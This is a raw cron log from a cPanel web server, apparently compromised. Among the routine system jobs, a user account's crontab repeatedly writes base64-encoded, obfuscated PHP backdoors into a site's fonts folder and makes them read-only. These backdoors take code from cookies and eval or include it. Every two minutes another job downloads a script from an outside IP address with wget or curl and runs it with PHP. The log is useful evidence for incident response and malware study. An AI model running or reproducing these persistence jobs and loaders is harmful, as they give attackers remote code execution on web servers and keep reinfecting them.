Sep 22 15:32:02 ip-184-168-122-23 CROND[19345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:32:02 ip-184-168-122-23 CROND[19346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:33:01 ip-184-168-122-23 CROND[19451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:33:01 ip-184-168-122-23 CROND[19452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:33:01 ip-184-168-122-23 CROND[19453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:33:01 ip-184-168-122-23 CROND[19454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:34:01 ip-184-168-122-23 CROND[19570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:34:01 ip-184-168-122-23 CROND[19569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:34:01 ip-184-168-122-23 CROND[19571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:34:01 ip-184-168-122-23 CROND[19572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:34:01 ip-184-168-122-23 CROND[19573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19786]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:35:02 ip-184-168-122-23 CROND[19791]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:35:02 ip-184-168-122-23 CROND[19798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:36:01 ip-184-168-122-23 CROND[19936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:36:01 ip-184-168-122-23 CROND[19938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:36:01 ip-184-168-122-23 CROND[19940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:36:01 ip-184-168-122-23 CROND[19939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:36:01 ip-184-168-122-23 CROND[19941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:37:01 ip-184-168-122-23 CROND[20334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:37:01 ip-184-168-122-23 CROND[20335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:37:01 ip-184-168-122-23 CROND[20336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:37:01 ip-184-168-122-23 CROND[20338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:38:01 ip-184-168-122-23 CROND[20727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:38:01 ip-184-168-122-23 CROND[20729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:38:01 ip-184-168-122-23 CROND[20731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:38:01 ip-184-168-122-23 CROND[20732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:38:01 ip-184-168-122-23 CROND[20730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:39:01 ip-184-168-122-23 CROND[21228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:39:01 ip-184-168-122-23 CROND[21229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:39:01 ip-184-168-122-23 CROND[21230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:39:01 ip-184-168-122-23 CROND[21231]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 15:39:01 ip-184-168-122-23 CROND[21236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:40:01 ip-184-168-122-23 CROND[21624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:40:01 ip-184-168-122-23 CROND[21630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:40:01 ip-184-168-122-23 CROND[21635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:41:01 ip-184-168-122-23 CROND[22180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:41:01 ip-184-168-122-23 CROND[22182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:41:01 ip-184-168-122-23 CROND[22183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:41:01 ip-184-168-122-23 CROND[22184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:42:01 ip-184-168-122-23 CROND[23072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:42:01 ip-184-168-122-23 CROND[23074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:42:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:42:01 ip-184-168-122-23 CROND[23076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:42:01 ip-184-168-122-23 CROND[23077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:43:02 ip-184-168-122-23 CROND[24734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:43:02 ip-184-168-122-23 CROND[24732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:43:02 ip-184-168-122-23 CROND[24733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:43:02 ip-184-168-122-23 CROND[24735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:44:01 ip-184-168-122-23 CROND[26001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:44:01 ip-184-168-122-23 CROND[26002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:44:01 ip-184-168-122-23 CROND[26006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:44:01 ip-184-168-122-23 CROND[26009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
